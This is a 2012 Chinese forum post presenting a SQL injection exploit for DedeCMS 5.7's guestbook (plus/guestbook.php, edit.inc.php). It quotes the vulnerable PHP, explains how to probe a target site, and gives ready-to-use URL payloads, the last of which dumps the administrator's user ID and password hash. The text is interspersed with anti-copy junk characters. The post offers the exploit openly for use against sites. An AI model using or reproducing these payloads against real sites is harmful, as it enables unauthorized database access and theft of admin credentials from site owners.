找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3751|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
+ F* V; k) m" K* L! v3 ]/ W: n; @$ d$ M3 g. j( g
漏洞文件edit.inc.php具体代码:' B. G4 b0 c% d1 _, J

  h0 Z, @1 ^4 `5 C+ ]< ?php  
- `$ ]: }& J6 }" ~3 @3 J0 V+ j8 I8 O" B+ l! Z  P
if(!defined('DEDEINC')) exit('Request Error!');  
# U- e. P2 @6 A+ H+ g
1 D: o# M/ d7 S. J8 V- Q3 N% Z9 H   ! m3 i) Z1 T2 I
% G1 m; M4 h3 D, h# w0 M0 v6 G
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
9 \/ O4 ?% |! I. H) \& S" ~6 g- D
else $GUEST_BOOK_POS = "guestbook.php";  
1 S- o8 l8 \) d. \) H7 @2 k1 k  x& P, }( m" r
   . m% e) z6 c5 Q$ t4 S

5 i6 D# a* G2 B+ ~$id = intval($id);  
$ ~, q' }1 B0 D: s8 O1 h  W  n7 i
if(empty($job)) $job='view';    V; d# p* J: ?  }8 p. d7 h
& p  _: G: Q( U9 O1 S1 l1 q) m
   
# ^- F( \) e4 c! k1 G2 J0 d/ _0 B* ?  d0 @: Z/ _; n3 N! `
if($job=='del' && $g_isadmin)  - @2 I9 V. c; l( b

/ ~' i9 R2 Z7 @8 o{  : Q2 A% y$ F1 Q% p: m2 ^+ y

* k! C$ s3 m* B( Z7 u$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  2 `5 ]/ E! @4 S# o3 ]
" p6 y; h4 _1 j& F! g
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
$ @: v4 {9 h+ ]- ?$ D& `
/ A; l; D/ f* [* m: l" Eexit();  1 C8 j8 ?- ]! n2 X$ z! j

% x& A& E1 E% q- l- H- q}  6 L/ i( v' [; M9 `, ^

8 j! G% I) Z3 j/ F; S) Oelse if($job=='check' && $g_isadmin)  
  X) h: A" Z5 g
- O4 B0 S" c+ \' P$ ?6 v$ |$ {{  
) C  p* W$ y) a3 a) C: a$ `, v  A- t: k" U$ l1 @. C$ ?
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  - L- }5 g% V( @1 w) V

& J& I! q& t  J& GShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
3 Q3 t3 G$ q0 ~0 ^) q1 C/ h0 [- f; P! Y+ K% J: x) b3 ^! n; M1 `( u
exit();  ( g' G1 g  l6 v- U4 Q) k
9 s/ |( i5 h& ?% |
}  ; v5 E8 k6 z. R
* g8 ^% s$ F5 f( ]8 t6 o
else if($job=='editok')  
& P. ~! p3 ?: G2 S' s9 Y6 e9 l( I7 X* V2 U1 Z
{  
, m; Y# V9 K- o$ \6 y, c" N8 U8 l  ?
$remsg = trim($remsg);  . F! Y5 e% _3 w+ M4 P
9 T& v$ i. ~: e/ l7 R0 g
if($remsg!='')  $ ^) A7 j& Q5 i" u' J- j

2 M9 h0 ^% W! j- c" |{  
, \& m/ }' F# q
5 G: s; C/ y, H//管理员回复不过滤HTML By:Errorera blog:errs.cc  " ^" i& c" p/ d  }8 G
/ y" Y! Q8 b8 F
if($g_isadmin)  6 L9 V* w  W- p

& O; }) b9 w9 ~& a6 R{  & N& x9 N+ R) g, Y3 s
  N, b2 {2 _4 Q& Q
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
# l) V. ], Y% Q
2 H, `  Q- ]5 }7 L( B. F7 g5 s& A//$remsg <br /><font color=red>管理员回复:</font> }  # M, w1 B3 x% S; @  r! N# o/ \
' g, @. i  C" b2 a( f/ p
else
- H5 a4 ]( Z7 ~1 @* c% B
& E' ^8 u5 B/ D  k1 D0 ~{  
* G' \2 k. ?: @: v1 \& a$ K( S. q, m' `- K
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
9 q! J  i- h; f% }. {1 d+ o, @$ T0 p- h% K8 l; b4 F7 U
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  , x. X: F8 f4 a6 E3 R1 M
3 [) u& ^" j6 q# H1 Q
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
  T8 o) e; U; d4 s& T9 c& H
0 z' u! w: p7 ]1 @9 T$msg = $oldmsg.$remsg;  ) E% f: U2 y4 @0 n! g6 w; s
5 P7 I2 n2 E" Y' G7 p' F( k
}  5 T7 j- [: u2 s  _0 D* B$ P
- H; l5 R6 d4 B: c: `3 T+ \5 y0 D
}  
6 j2 y  G& E* c0 R: Q7 ?$ d5 f6 Q* p9 [9 t8 u6 q
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  $ Y4 }3 B( ]! u3 V, s1 G

- M( y3 G; p' L, Y$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
& r: q5 `4 U) S! j; c. k9 F7 n. G! F/ t
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
8 D2 }0 j( R( l2 `5 t) @, v; b6 E, {9 t6 s4 o
exit();  
4 r2 ]( ^+ s+ Z# m5 t) {
) y5 }8 L; E2 C& z( t7 G1 y}  , S" h& \/ z" t) `$ I

0 v( l. E; m7 o//home:www.errs.cc  , h0 S; l9 W; G# ^
* i* K5 ^" H$ Q% X/ I3 w
if($g_isadmin)  
1 F: M8 ~* H: U4 x! v, t# Z- q$ O) `% d: l" @$ K' H
{  
0 n2 [: u5 [6 L1 Q" T3 l! U0 l  |+ w0 V9 @2 P( w/ E, {
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  & O" K. D. q! P+ U# X0 l# ]) ^- f" J

" M# ]3 I: S& U# v( Crequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
* I5 T9 h$ T7 B( Y3 s+ @+ S: i
' H5 x7 j( j* _, r/ G}  
% ~+ L: m4 z' A5 c& v. S0 C! l0 Z4 N
else " C! x: C; O( L9 v1 F+ q4 b

8 u  G' W3 X& D, W5 n( N{  
* m9 j3 H* u4 k' m6 g" a- `8 a8 s8 d& R$ \% M% M
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  % K* t, C+ J$ c4 A( S+ F
- a. h  g: g2 t$ U$ O
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
) j9 O9 y4 [# }# k' v$ h9 o
5 E4 Y6 F5 l0 y4 f5 `5 T' h1 X} 漏洞成功需要条件:
/ i% b& {7 ~1 y+ V1. php magic_quotes_gpc=off
9 Q, _8 d* u' K2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。  o7 P% {! U5 b+ I' o! y" `

6 r- g  |/ R" V' v5 N/ X怎么判断是否存在漏洞:
' r5 ?- _( F, ]. b先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
4 p" K0 d2 o+ A# F$ f然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
8 D; Z6 C4 g# m2 r' ~访问:
% _1 r8 Z3 F9 k' [6 y8 o& w# ?3 w* X: f  i
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
, W2 d0 h* O; s- ?! E1 u跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
) x# E% x- L0 {" {2 Z9 U  I8 W9 V, w8 b. P$ G- k% v
( q- u* x6 Z" G5 M/ C" j
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
- p; x$ U6 l4 S如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
9 G7 c, ?+ I) R; A  X! i那么再次访问
6 [. e$ [' J. A0 w* k4 F  f6 j* G: W6 Z
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
5 C2 {% F0 l6 L) w- V" u" k$ e1 f# y; [  K' Q, \
大概利用就是这样,大家有兴趣的多研究下!!, T8 K1 |" c6 @2 E( P3 {
  y+ x$ k% v5 j. h3 h3 B( q
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
0 i9 o8 `: a  m" h. [  e* \% b3 P
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表